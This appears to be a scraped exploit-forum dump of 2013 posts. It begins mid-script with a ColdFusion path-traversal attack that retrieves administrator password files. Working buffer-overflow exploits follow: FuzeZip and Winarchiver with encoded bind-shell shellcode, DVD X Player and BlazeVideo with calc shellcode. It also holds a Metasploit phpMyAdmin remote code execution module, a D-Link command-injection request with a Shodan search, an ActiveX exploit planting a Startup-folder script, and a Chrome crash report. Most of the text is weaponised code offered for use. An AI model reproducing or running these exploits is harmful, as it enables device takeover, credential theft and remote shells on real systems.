  if coldfusion == 10:
    tests += ["../../../../../../../../../opt/coldfusion10/cfusion/lib/password.properties",
                          "../../../../../../../../../opt/coldfusion/cfusion/lib/password.properties"]
  elif coldfusion == 9:
    tests += ["../../../../../../../../../opt/coldfusion9/cfusion/lib/password.properties",
                          "../../../../../../../../../opt/coldfusion/cfusion/lib/password.properties"]
  else:
    tests += ["../../../../../../../../../opt/coldfusion9/cfusion/lib/password.properties",
                          "../../../../../../../../../opt/coldfusion10/cfusion/lib/password.properties",
                          "../../../../../../../../../opt/coldfusion/cfusion/lib/password.properties"]
elif operatingsystem is "refrigerator":
  # w3lp l00ks l1k3 w3 g0tt4 5h0tguN th1s sh1t
  tests += ["..\..\..\..\..\..\..\..\..\ColdFusion9\lib\password.properties",
                  "..\..\..\..\..\..\..\..\..\ColdFusion10\lib\password.properties",
                  "..\..\..\..\..\..\..\..\..\ColdFusion9\cfusion\lib\password.properties",
                  "..\..\..\..\..\..\..\..\..\ColdFusion10\cfusion\lib\password.properties",
                  "..\..\..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties",
                  "../../../../../../../../../opt/coldfusion9/cfusion/lib/password.properties",
                  "../../../../../../../../../opt/coldfusion10/cfusion/lib/password.properties",
                  "../../../../../../../../../opt/coldfusion/cfusion/lib/password.properties"]
 
for path in tests:
  lfidata = requests.get("%s://%s/CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&attributes.file=../../administrator/mail/download.cfm&filename=%s&attributes.locale=it&attributes.var=it&attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=htp" % (protocol,target,path)).content
  if "encrypted=true" in lfidata:
    credzacquired = True
    print "[*] CF Administrator credentials acquired:"
    print lfidata
  else:
    pass
 
if credzacquired == True:
  flash(cyan,"[~] SUB ZERO WINS",3)
  time.sleep(.5)
  flash(red,"[!] FLAWLESS VICTORY",3)
  time.sleep(.5)
else:
  flash(red,"[!] COLDFUSION ADMIN WINS",3)
  time.sleep(.5)
 
# e0f HTP '13
FuzeZip 1.0.0.131625 Buffer Overflow
ID: 67686ba3b4103b69df379d82
Thread ID: 24147
Created: 2013-05-06T07:43:44+0000
Last Post: 2013-05-06T07:43:44+0000
Author: DarckSol
Prefix: Local
Replies: 0 Views: 1K

FuzeZip version 1.0.0.131625 structured exception handler buffer overflow exploit that binds a shell to port 4444.

Click to expand...

Code:Copy to clipboard

#!/usr/bin/python
# Exploit Title: SEH BUFFER OVERFLOW IN FUZEZIP V.1.0
# Date: 16.Apr.2013 Vulnerability reported
# Exploit Author: Josep Pi Rodriguez, Pedro Guillen Nunez , Miguel Angel de Castro Simon
# Organization: RealPentesting 
# Vendor Homepage: http://fuzezip.com/
# Software Link: http://download.fuzezip.com/FuzeZipSetup.exe
# Version: 1.0.0.131625
# Tested on: Windows 2003 Server Standard SP2

header1 = (
"\x50\x4B\x03\x04\x0A\x00\x00\x00\x00\x00\xE5\x18\xE9\x3E"
"\xCC\xD4\x7C\x56\x0F\x00\x00\x00\x0F\x00\x00\x00\xBF\x17\x00\x00"
)

#0x003F 335C

seh = "\x9a\x9f"
nextsh = "\x58\x70"

header_m = "\x54\x68\x69\x73\x20\x69\x73\x20\x61\x20\x74\x65\x73\x74\x21\x50\x4B\x01\x02\x14\x00\x0A\x00\x00\x00\x00\x00\xE5\x18\xE9\x3E\xCC\xD4\x7C\x56\x0F\x00\x00\x00\x0F\x00\x00\x00\xBF\x17\x00\x00\x00\x00\x00\x00\x01\x00\x20\x08\x00\x00\x00\x00\x00\x00"
header_f = "\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\xED\x17\x00\x00\xEC\x17\x00\x00\x00\x00"

venetian = (
"\x55\x55"
"\x72"
"\x58"
"\x72"
"\x05\x25\x11"
"\x72"
"\x2d\x11\x11"
)

shellcode = (
"PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1"
"AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLJHDIM0KPM030SYK5P18RQTDK1BNPDK0RLLTKB2MDDKS"
"BO8LO870JMVNQKOP1I0VLOLQQCLLBNLO091HOLMKQ7WZBL0220W4KQBLPTKOROLKQZ0TKOPRX55WPRTPJKQXP0P"
"TKOXLXDKQHO0M1J39SOLQ9DKNT4KM1Z601KONQGPFLGQXOLMM197NXIP2UZTLC3MJXOKCMND2UZBPXTK1HO4KQJ"
"3QVDKLLPKTKB8MLKQJ3TKM4TKKQZ04IOTMTMTQK1KQQQI1JPQKOK0PX1OQJ4KLRJKSVQM1XNSNRM0KPBHD7T3P2"
"QOR4QXPL2WO6KWKOHUVXDPKQKPKPNIGTQDPPS8MYU0RKM0KOZ5PPPP20PPQ0PPOPPPQXYZLO9OK0KOYEU9Y7NQY"
"K0SQXKRM0LQ1L3YJFQZLPQFR7QX7RIK07QWKOJ5PSPWS86WIYNXKOKOXUR3R3R7QXD4JLOKYQKOJ5B73YHGBH45"
"2NPM31KOXUQXC3RMC4M0CYYS1GQGR701ZV2JLRR90VK2KMQVY7OTMTOLKQM1TMOTMTN0I6KPPD1DPPQF261FQ6B"
"60N26R6PSR6RHRYHLOODFKOIE3YYPPNPVOVKONP38KXTGMM1PKOJ5WKJP6UERB6QX6FTUWMUMKOZ5OLM6SLLJ3P"
"KKK045M5WKQ7N3RRRORJM0QCKOHUA"
)

print len(shellcode)

payload = "\x90" * 818 + nextsh + seh + venetian + "\x90" * 109 + "\x72" + shellcode + "\x43" * 4323

buff = payload  
print len(payload)
mefile = open('josep.zip','w')
mefile.write(header1 + buff + header_m + buff + header_f)
mefile.close()
Winarchiver 3.2 Buffer Overflow
ID: 67686ba3b4103b69df379d83
Thread ID: 24146
Created: 2013-05-06T07:43:04+0000
Last Post: 2013-05-06T07:43:04+0000
Author: DarckSol
Prefix: Local
Replies: 0 Views: 1K

Winarchiver version 3.2 structured exception handler buffer overflow exploit that binds a shell to port 4444.

Click to expand...

Code:Copy to clipboard

#/usr/bin/python
# Exploit Title: Winarchiver V 3.2 SEH Overflow
# Date: April 24, 2013
# Exploit Author: Josep Pi Rodriguez, Pedro Guillen Nunez , Miguel Angel de Castro Simon
# Organization: RealPentesting 
# Vendor Homepage: http://winarchiver.com
# Software Link: http://www.winarchiver.com/WinArchiver3.exe
# Version: 3.2 
# Tested on: Windows XP SP3
zip_header = (
"\x50\x4B\x03\x04\x0A\x00\x04\x02\x00\x00\xE5\x18\xE9\x3E\xCC\xD4"
"\x7C\x56\x0F\x00\x00\x00\x0F\x00\x00\x00\x08\x00\x00\x00\x54\x65"
"\x73\x74\x2E\x74\x78\x74\x54\x68\x69\x73\x20\x69\x73\x20\x61\x20"
"\x74\x65\x73\x74\x21\x50\x4B\x01\x02\x14\x00\x0A\x00\x40\x00\x00"
"\x00\xE5\x18\xE9\x3E\xCC\xD4\x7C\x56\x0F\x00\x00\x00\x0F\x00\x00"
"\x00\xBE\x20\x00\x00\x00\x00\x00\x00\x01\x00\x3D\xAC\xBD\x04\x00"
"\x00\x00\x00"
)
zip_final=(
"\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\xEC\x20\x00"
"\x00\x35\x00\x00\x00\x00\x00"
)
seh = "\x31\x48" #ppr 0x00480031
nextseh = "\x58\x70"
venetian = (
"\x55\x55"
"\x70"
"\x58"
"\x70"
"\x05\x25\x11"
"\x55"
"\x2d\x19\x11"
"\x55"
"\x50"
"\x55"
"\xc7"
)
shellcode = (
"PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1"
"AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLJHDIM0KPM030SYK5P18RQTDK1BNPDK0RLLTKB2MDDKS"
"BO8LO870JMVNQKOP1I0VLOLQQCLLBNLO091HOLMKQ7WZBL0220W4KQBLPTKOROLKQZ0TKOPRX55WPRTPJKQXP0P"
"TKOXLXDKQHO0M1J39SOLQ9DKNT4KM1Z601KONQGPFLGQXOLMM197NXIP2UZTLC3MJXOKCMND2UZBPXTK1HO4KQJ"
"3QVDKLLPKTKB8MLKQJ3TKM4TKKQZ04IOTMTMTQK1KQQQI1JPQKOK0PX1OQJ4KLRJKSVQM1XNSNRM0KPBHD7T3P2"
"QOR4QXPL2WO6KWKOHUVXDPKQKPKPNIGTQDPPS8MYU0RKM0KOZ5PPPP20PPQ0PPOPPPQXYZLO9OK0KOYEU9Y7NQY"
"K0SQXKRM0LQ1L3YJFQZLPQFR7QX7RIK07QWKOJ5PSPWS86WIYNXKOKOXUR3R3R7QXD4JLOKYQKOJ5B73YHGBH45"
"2NPM31KOXUQXC3RMC4M0CYYS1GQGR701ZV2JLRR90VK2KMQVY7OTMTOLKQM1TMOTMTN0I6KPPD1DPPQF261FQ6B"
"60N26R6PSR6RHRYHLOODFKOIE3YYPPNPVOVKONP38KXTGMM1PKOJ5WKJP6UERB6QX6FTUWMUMKOZ5OLM6SLLJ3P"
"KKK045M5WKQ7N3RRRORJM0QCKOHUA"
)
buffer =  "\x41" * (205+216) + shellcode + "\x41" * (2000-216-len(shellcode)) + nextseh + seh + venetian + "\x42" * (6173-len(venetian))
print len(buffer)
payload = buffer
mefile = open('seh_winarch.zip','w')
mefile.write(zip_header + buffer + zip_final)
mefile.close()
DVD X Player 5.5.37 Pro / Standard Buffer Overflow
ID: 67686ba3b4103b69df379d84
Thread ID: 24145
Created: 2013-05-06T07:41:42+0000
Last Post: 2013-05-06T07:41:42+0000
Author: DarckSol
Prefix: Local
Replies: 0 Views: 1K

DVD X Player versions 5.5.37 Pro and Standard structured exception handler (SEH) buffer overflow exploit that pops calc.exe.

Click to expand...

Code:Copy to clipboard

#!/usr/bin/env ruby
# Exploit Title:DVD X Player 5.5.3.7 Pro & Standard (SEH) Buffer Overflow 
# Download link :http://www.aviosoft.com/dvd-player.html
# RST
# Author: metacom
# Date (found):03.05.2013
# Date (publish):03.05.2013
# version: 5.5.3.7 Pro & Standard
# Category: poc
# Tested on: windows 7 German 
# Notes: Last Update DVD X Player Jan 28, 2012 
# SOLUTION: None

calc =
"\xba\x38\xdc\x15\x77\xdd\xc7\xd9\x74\x24\xf4\x5d\x33\xc9" +
"\xb1\x33\x83\xc5\x04\x31\x55\x0e\x03\x6d\xd2\xf7\x82\x71" +
"\x02\x7e\x6c\x89\xd3\xe1\xe4\x6c\xe2\x33\x92\xe5\x57\x84" +
"\xd0\xab\x5b\x6f\xb4\x5f\xef\x1d\x11\x50\x58\xab\x47\x5f" +
"\x59\x1d\x48\x33\x99\x3f\x34\x49\xce\x9f\x05\x82\x03\xe1" +
"\x42\xfe\xec\xb3\x1b\x75\x5e\x24\x2f\xcb\x63\x45\xff\x40" +
"\xdb\x3d\x7a\x96\xa8\xf7\x85\xc6\x01\x83\xce\xfe\x2a\xcb" +
"\xee\xff\xff\x0f\xd2\xb6\x74\xfb\xa0\x49\x5d\x35\x48\x78" +
"\xa1\x9a\x77\xb5\x2c\xe2\xb0\x71\xcf\x91\xca\x82\x72\xa2" +
"\x08\xf9\xa8\x27\x8d\x59\x3a\x9f\x75\x58\xef\x46\xfd\x56" +
"\x44\x0c\x59\x7a\x5b\xc1\xd1\x86\xd0\xe4\x35\x0f\xa2\xc2" +
"\x91\x54\x70\x6a\x83\x30\xd7\x93\xd3\x9c\x88\x31\x9f\x0e" +
"\xdc\x40\xc2\x44\x23\xc0\x78\x21\x23\xda\x82\x01\x4c\xeb" +
"\x09\xce\x0b\xf4\xdb\xab\xe4\xbe\x46\x9d\x6c\x67\x13\x9c" +
"\xf0\x98\xc9\xe2\x0c\x1b\xf8\x9a\xea\x03\x89\x9f\xb7\x83" +
"\x61\xed\xa8\x61\x86\x42\xc8\xa3\xe5\x05\x5a\x2f\xc4\xa0" +
"\xda\xca\x18"

junk = "\x41" * 601 # Junk bytes

nseh = "\xEB\x06\x90\x90" # Short (6 bytes) jump!

seh  = "\xB8\x22\x30\x60"#0x603022B8   5E POP ESI from Configuration.dll

nops = "\x90" * 50

head = "http://"
data= head + junk + nseh + seh + nops + calc

File.open("crash.plf", 'w') do |b|  
  b.write data
  puts "file size : " + data.length.to_s
end
phpMyAdmin Authenticated Remote Code Execution
ID: 67686ba3b4103b69df379d85
Thread ID: 24129
Created: 2013-04-30T10:35:44+0000
Last Post: 2013-04-30T10:35:44+0000
Author: DarckSol
Prefix: Remote
Replies: 0 Views: 1K

This Metasploit module exploits a PREG_REPLACE_EVAL vulnerability in phpMyAdmin's replace_prefix_tbl within libraries/mult_submits.inc.php via db_settings.php. This affects versions 3.5.x below 3.5.8.1 and 4.0.0 below 4.0.0-rc3. PHP versions greater than 5.4.6 are not vulnerable.

Click to expand...

Code:Copy to clipboard

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'phpMyAdmin Authenticated Remote Code Execution via preg_replace()',
      'Description' => %q{
          This module exploits a PREG_REPLACE_EVAL vulnerability in phpMyAdmin's
          replace_prefix_tbl within libraries/mult_submits.inc.php via db_settings.php
          This affects versions 3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3.
          PHP versions > 5.4.6 are not vulnerable.
      },
      'Author' =>
        [
          'Janek "waraxe" Vind', # Discovery
          'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # Metasploit Module
        ],
      'License' => MSF_LICENSE,
      'References' =>
        [
          [ 'CVE', '2013-3238' ],
          [ 'PMASA', '2013-2'],
          [ 'waraxe', '2013-SA#103' ],
          [ 'EDB', '25003'],
          [ 'OSVDB', '92793'],
          [ 'URL', 'http://www.waraxe.us/advisory-103.html' ],
          [ 'URL', 'http://www.phpmyadmin.net/home_page/security/PMASA-2013-2.php' ]
        ],
      'Privileged' => false,
      'Platform'   => ['php'],
      'Arch'       => ARCH_PHP,
      'Payload'    =>
        {
          'BadChars' => "&\n=+%",
          # Clear out PMA's error handler so it doesn't lose its mind
          # and cause ENOMEM errors and segfaults in the destructor.
          'Prepend' => "function foo($a,$b,$c,$d,$e){return true;};set_error_handler(foo);"
        },
      'Targets' =>
        [
          [ 'Automatic', { } ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Apr 25 2013'))

    register_options(
      [
        OptString.new('TARGETURI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']),
        OptString.new('USERNAME', [ true, "Username to authenticate with", 'root']),
        OptString.new('PASSWORD', [ false, "Password to authenticate with", ''])
      ], self.class)
  end

  def check
    begin
      res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/js/messages.php') })
    rescue
      print_error("Unable to connect to server.")
      return CheckCode::Unknown
    end

    if res.code != 200
      print_error("Unable to query /js/messages.php")
      return CheckCode::Unknown
    end

    php_version = res['X-Powered-By']
    if php_version
      print_status("PHP Version: #{php_version}")
      if php_version =~ /PHP\/(\d)\.(\d)\.(\d)/
        if $1.to_i > 5
          return CheckCode::Safe
        else
          if $1.to_i == 5 and $2.to_i > 4
            return CheckCode::Safe
          else
            if $1.to_i == 5 and $2.to_i == 4 and $3.to_i > 6
              return CheckCode::Safe
            end
          end
        end
      end
    else
      print_status("Unknown PHP Version")
    end

    if res.body =~ /pmaversion = '(.*)';/
      print_status("phpMyAdmin version: #{$1}")
      case $1.downcase
        when '3.5.8.1', '4.0.0-rc3'
          return CheckCode::Safe
        when '4.0.0-alpha1', '4.0.0-alpha2', '4.0.0-beta1', '4.0.0-beta2', '4.0.0-beta3', '4.0.0-rc1', '4.0.0-rc2'
          return CheckCode::Vulnerable
        else
          if $1.starts_with? '3.5.'
            return CheckCode::Vulnerable
          end

          return CheckCode::Unknown
      end
    end
  end

  def exploit
    uri = target_uri.path
    print_status("Grabbing CSRF token...")
    response = send_request_cgi({ 'uri' => uri})
    if response.nil?
      fail_with(Exploit::Failure::NotFound, "Failed to retrieve webpage.")
    end

    if (response.body !~ /"token"\s*value="([^"]*)"/)
      fail_with(Exploit::Failure::NotFound, "Couldn't find token. Is URI set correctly?")
    else
      print_good("Retrieved token")
    end

    token = $1
    post = {
      'token' => token,
      'pma_username' => datastore['USERNAME'],
      'pma_password' => datastore['PASSWORD']
    }

    print_status("Authenticating...")

    login = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(uri, 'index.php'),
      'vars_post' => post
    })

    if login.nil?
      fail_with(Exploit::Failure::NotFound, "Failed to retrieve webpage.")
    end

    token = login.headers['Location'].scan(/token=(.*)[&|$]/).flatten.first

    cookies = login.get_cookies

    login_check = send_request_cgi({
      'uri' => normalize_uri(uri, 'index.php'),
      'vars_get' => { 'token' => token },
      'cookie' => cookies
    })

    if login_check.body =~ /Welcome to/
      fail_with(Exploit::Failure::NoAccess, "Authentication failed.")
    else
      print_good("Authentication successful")
    end

    db = rand_text_alpha(3+rand(3))
    exploit_result = send_request_cgi({
      'uri'  => normalize_uri(uri, 'db_structure.php'),
      'method' => 'POST',
      'cookie' => cookies,
      'vars_post' => {
        'query_type' => 'replace_prefix_tbl',
        'db' => db,
        'selected[0]' => db,
        'token' => token,
        'from_prefix' => "/e\0",
        'to_prefix' => payload.encoded,
        'mult_btn' => 'Yes'
      }
    },1)
  end
end
D-Link Remote Command Execution
ID: 67686ba3b4103b69df379d86
Thread ID: 24075
Created: 2013-04-09T06:52:57+0000
Last Post: 2013-04-09T06:52:57+0000
Author: DarckSol
Prefix: Remote
Replies: 0 Views: 1K

D-Link devices DIR-600 / DIR-300 revB / DIR-815 / DIR-645 / DIR-412 / DIR-456 / DIR-110 all suffer from a remote command injection vulnerability.

Click to expand...

Device Name: DIR-600 / DIR-300 revB / DIR-815 / DIR-645 / DIR-412 / DIR-456 / DIR-110
Vendor: D-Link

============ Vulnerable Firmware Releases: ============

DIR-815 v1.03b02 (unauthenticated command injection)
DIR-645 v1.02 (unauthenticated command injection)
DIR-645 v1.03 (authenticated command injection)
DIR-600 below v2.16b01 (with v2.16b01 D-Link also fixes different vulnerabilities reported in M1ADV2013-003)
DIR-300 revB v2.13b01 (unauthenticated command injection)
DIR-300 revB v2.14b01 (authenticated command injection)
DIR-412 Ver 1.14WWB02 (unauthenticated command injection)
DIR-456U Ver 1.00ONG (unauthenticated command injection)
DIR-110 Ver 1.01 (unauthenticated command injection)

Possible other versions and devices are also affected by this vulnerability.

============ Shodan Torks ============

Shodan search: Server: Linux, HTTP/1.1, DIR
=> 9300 results

============ Vulnerability Overview: ============

  • OS Command Injection

The vulnerability is caused by missing input validation in the dst parameter and missing session validation and can be exploited to inject and execute arbitrary shell commands.

WARNING: You do not need to be authenticated to the device to insert and execute malicious commands.
Hint: On different devices like the DIR-645 wget is preinstalled and you are able to upload and execute your malicious code.

=> Parameter: dst

Example Exploit:
POST /diagnostic.php HTTP/1.1
Host: xxxx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://xxxx/
Content-Length: 41
Cookie: uid=hfaiGzkB4z
Pragma: no-cache
Cache-Control: no-cache

act=ping&dst=%26%20COMMAND%26

Screenshot: [http://www.s3cur1ty.de/sites/www.s3cur1ty....f-shell.txt.png](http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/05.04.2013%20-%20Dlink- DIR-645_msf-shell.txt.png)

  • Information disclosure:

Nice server banner to detect this type of devices easily:

Server Banner: Server: Linux, HTTP/1.1, DIR-815
Server Banner: Server: Linux, HTTP/1.1, DIR-645
Server Banner: Server: Linux, HTTP/1.1, DIR-600
Server Banner: Server: Linux, HTTP/1.1, DIR-300
Server Banner: Server: Linux, HTTP/1.1, DIR-412
Server Banner: Server: Linux, HTTP/1.1, DIR-456U
Server Banner: Server: Linux, HTTP/1.1, DIR-110

  • Information Disclosure:

Detailed device information including Model Name, Hardware Version, Linux Kernel, Firmware version, Language and MAC Addresses are available via the network.

Request:
http://IP/DevInfo.txt or http://IP/version.txt (check the source of the site)

Response to DevInfo.txt:

Firmware External Version: V1.00
Firmware Internal Version: a86b
Model Name: DIR-815
Hardware Version:
WLAN Domain: xxx
Kernel: 2.6.33.2
Language: en
Graphcal Authentication: Disable
LAN MAC: xx
WAN MAC: xx
WLAN MAC: xx

These details are available without authentication.

============ Solution ============

DIR-645: Update to firmware v1.04b5
DIR-600: Update to firmware v2.16B01
DIR-300rev B: Update to firmware 2.14B01 fixes the authentication bypass but not the command injection vulnerability.
Other devices: No known solution available.

============ Credits ============

The vulnerability was discovered by Michael Messner
Mail: devnull#at#s3cur1ty#dot#de
Web: http://www.s3cur1ty.de/advisories
Twitter: @s3cur1ty_de

============ Time Line: ============

14.12.2012 - discovered vulnerability in first device
14.12.2012 - contacted dlink via the webinterface http://www.dlink.com/us/en/home-solutions/contact-d-link
20.12.2012 - contacted Heise Security with details and Heisec forwarded the details to D-Link
21.12.2012 - D-link responded that they will check the findings
11.01.2013 - requested status update
25.01.2013 - requested status update and updated D-Link with the other vulnerable devices
25.01.2013 - D-Link responded that this is a security problem from the user and/or browser and they will not provide a fix.
07.02.2013 - after the DIR-600/300 drama D'Link contacted me and now they are talking with me ;)
since 07.02.2013 - Good communication and firmware testing
27.02.2013 - Roberto Paleari releases details about authentication bypass in DIR-645 - http://packetstormsecurity.com/files/12059...r645-bypass.txt
05.04.2013 - vendor releases firmware updates
05.04.2013 - public release

===================== Advisory end =====================

Click to expand...

LiquidXML Studio 2012 ActiveX Insecure Method
ID: 67686ba3b4103b69df379d87
Thread ID: 24035
Created: 2013-03-26T07:56:13+0000
Last Post: 2013-03-26T07:56:13+0000
Author: DarckSol
Prefix: Local
Replies: 0 Views: 1K

html>

LiquidXML Studio 2012 ActiveX Insecure Method Executable File Creation 0-day

By: Dr_IDE

GUID: {8AEEAB4A-E1DA-4354-B800-8F0B553770E1}

Number of Interfaces: 1

Default Interface: _FtpLibrary

RegKey Safe for Script: False

RegkeySafe for Init: False

KillBitSet: False

Nothing to see here, you can close the browser now...

Click to expand...

EastFTP ActiveX Control 0Day
ID: 67686ba3b4103b69df379d88
Thread ID: 24020
Created: 2013-03-21T06:52:10+0000
Last Post: 2013-03-21T06:52:10+0000
Author: DarckSol
Prefix: Local
Replies: 0 Views: 1K

Code:Copy to clipboard

<html>
<object classid='clsid:31AE647D-11D1-4E6A-BE2D-90157640019A' id='target'/></object>
<script>
var sofa = "..\\..\\..\\..\\..\\..\\..\\..\\..\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\the_doctor_is_in.hta";
var king = "><" + "SCRIPT> var x=new ActiveXObject(\"WScript.Shell\"); x.Exec(\"CALC.EXE\"); <" +"/SCRIPT>";
var easy = 1;
target.LocalFileWrite(sofa,king,easy);
</script>
<body>
EaseFTP ActiveX Control 0-Day Local Exploit

By: Dr_IDE

Self Promotion: http://irresponsibledisclosure.blogspot.com

Vendor Homepage:http://www.ftpocx.com/download.htm

Version: 4.6.02

Class FtpLibrary

GUID: {31AE647D-11D1-4E6A-BE2D-90157640019A}

Number of Interfaces: 1

Default Interface: _FtpLibrary

RegKey Safe for Script: False

RegkeySafe for Init: False

KillBitSet: False

</body>
</html>
BlazeVideo HDTV Standard v.6.6.0.2
ID: 67686ba3b4103b69df379d89
Thread ID: 24015
Created: 2013-03-20T08:57:53+0000
Last Post: 2013-03-20T08:57:53+0000
Author: DarckSol
Prefix: Local
Replies: 0 Views: 1K

Exploit Title:BlazeVideo HDTV Player Standard 6.6.0.2 SEH Buffer Overflow

Date: 19-03-2013

Exploit Author: metacom

RST

Vendor Homepage: http://www.blazevideo.com/hdtv-player/

Download version 6.6.0.2:

www.blazevideo.com/download.php?product=blazevideo-hdtv-std

Version: BlazeVideo HDTV Player Standard 6.6.0.2

Tested on: Windows 7 German

filename="poc.PLF"

junk = "http://"+ "\x41" * 601
nseh = "\xEB\x06\x90\x90"
seh = "\x5F\x17\x60\x61" #6160175F \EPG.dll
nops = "\x90" * 20
#windows/exec CMD=calc.exe bad \x00\x0a\x1a
shellcode= ("\xb8\xaf\x8c\x07\x94\xda\xcd\xd9\x74\x24\xf4\x5a\x29\xc9\xb1"
"\x33\x31\x42\x12\x83\xea\xfc\x03\xed\x82\xe5\x61\x0d\x72\x60"
"\x89\xed\x83\x13\x03\x08\xb2\x01\x77\x59\xe7\x95\xf3\x0f\x04"
"\x5d\x51\xbb\x9f\x13\x7e\xcc\x28\x99\x58\xe3\xa9\x2f\x65\xaf"
"\x6a\x31\x19\xad\xbe\x91\x20\x7e\xb3\xd0\x65\x62\x3c\x80\x3e"
"\xe9\xef\x35\x4a\xaf\x33\x37\x9c\xa4\x0c\x4f\x99\x7a\xf8\xe5"
"\xa0\xaa\x51\x71\xea\x52\xd9\xdd\xcb\x63\x0e\x3e\x37\x2a\x3b"
"\xf5\xc3\xad\xed\xc7\x2c\x9c\xd1\x84\x12\x11\xdc\xd5\x53\x95"
"\x3f\xa0\xaf\xe6\xc2\xb3\x6b\x95\x18\x31\x6e\x3d\xea\xe1\x4a"
"\xbc\x3f\x77\x18\xb2\xf4\xf3\x46\xd6\x0b\xd7\xfc\xe2\x80\xd6"
"\xd2\x63\xd2\xfc\xf6\x28\x80\x9d\xaf\x94\x67\xa1\xb0\x70\xd7"
"\x07\xba\x92\x0c\x31\xe1\xf8\xd3\xb3\x9f\x45\xd3\xcb\x9f\xe5"
"\xbc\xfa\x14\x6a\xba\x02\xff\xcf\x34\x49\xa2\x79\xdd\x14\x36"
"\x38\x80\xa6\xec\x7e\xbd\x24\x05\xfe\x3a\x34\x6c\xfb\x07\xf2"
"\x9c\x71\x17\x97\xa2\x26\x18\xb2\xc0\xa9\x8a\x5e\x29\x4c\x2b"
"\xc4\x35")

f = open(filename,"wb")
f.write(junk+nseh+seh+nops+shellcode)
f.close()
print("Finish")

295B4545EB06EB88 1337day.com [2013-03-20] 1D0067950AD51EC1

Click to expand...

Google Chrome 21.0.1180.57 NULL Pointer
ID: 67686ba3b4103b69df379d8a
Thread ID: 24009
Created: 2013-03-18T12:18:40+0000
Last Post: 2013-03-18T12:18:40+0000
Author: DarckSol
Prefix: DoS
Replies: 0 Views: 1K

Google Chrome versions 21.0.1180.57 and below suffer from a NULL pointer vulnerability in InspectDataSource::StartDataRequest.

Click to expand...

---| overview

Vulnerability: Chrome Null Pointer in InspectDataSource::StartDataRequest
Date: 03/14/2012
Author: @HeyderAndrade (heyder.andrade[at]gmail[dot]com)
Chrome Version: =< 21.0.1180.57 stable
Operating System Tested: Win XP SP2, WIN7, Mac OS X 10.6.8 (10K549),Linux Ubuntu 12.04
Architecture: x86 and Amd64

---| steps will reproduce this crash

1. Open the browser and visit any site that has an SSL certificate signed by a CA not trusted.
an ssl error will be showed, DON'T click "proceed anayway".
2. Open a new tab and access chrome://inspect

ps. I believe it should work with any ssl error, but i tested only with no valid CA error.

---| original OSX Crash Report

Process: Google Chrome [767]
Path: /Applications/Google Chrome.app/Contents/MacOS/Google Chrome
Identifier: com.google.Chrome
Version: 21.0.1180.57 (1180.57)
Code Type: X86 (Native)
Parent Process: launchd [158]

Date/Time: 2012-08-08 22:53:09.442 -0300
OS Version: Mac OS X 10.6.8 (10K549)
Report Version: 6

Interval Since Last Report: 19713 sec
Crashes Since Last Report: 1
Per-App Interval Since Last Report: 19374 sec
Per-App Crashes Since Last Report: 1
Anonymous UUID: B5BA5F00-E166-4923-9393-E0FC63561975

Exception Type: EXC_BAD_ACCESS (SIGBUS)
Exception Codes: KERN_PROTECTION_FAILURE at 0x0000000000000000
Crashed Thread: 0 CrBrowserMain Dispatch queue: com.apple.main-thread

---| source code

This vulnerability lies in the function call DCHECK (line 118 of the inspect_ui.cc)
the render_process_host can be NULL.

file: browser/ui/webui/inspect_ui.cc
line: 188
function: DCHECK(render_process_host);

---| source code fix

if (!render_process_host->HasConnection())
continue;

---| timeline of disclosure

- discovery vulnerability - Ago 08, 2012
- code.google.com report - Aug 15, 2012
- Chromium community fix - Oct 11, 2012
- This disclosure - Mar 14, 2013

---| references

https://chromiumcodereview.appspot.com/11066114/ (for some reason this issue was removed)
https://code.google.com/p/chromium/issues/detail?id=142979 (no public)

Starting program: /home/user/chrome-linux/chrome --debug https://caixa.gov.br
[Thread debugging using libthread_db enabled]
[New Thread 0xb2735b70 (LWP 10475)]
[New Thread 0xb1f34b70 (LWP 10476)]
[New Thread 0xb1733b70 (LWP 10477)]
[New Thread 0xb280db70 (LWP 10478)]
[New Thread 0xb0666b70 (LWP 10479)]
[New Thread 0xafe65b70 (LWP 10480)]
[New Thread 0xaf664b70 (LWP 10481)]
[New Thread 0xaee63b70 (LWP 10482)]
[New Thread 0xae662b70 (LWP 10483)]
[New Thread 0xade61b70 (LWP 10484)]
[New Thread 0xad660b70 (LWP 10485)]
[New Thread 0xace5fb70 (LWP 10486)]
[New Thread 0xace3eb70 (LWP 10487)]
[New Thread 0xace1db70 (LWP 10488)]
[New Thread 0xacdfcb70 (LWP 10489)]
[New Thread 0xac4eeb70 (LWP 10490)]
[Thread 0xac4eeb70 (LWP 10490) exited]
[New Thread 0xac4eeb70 (LWP 10491)]
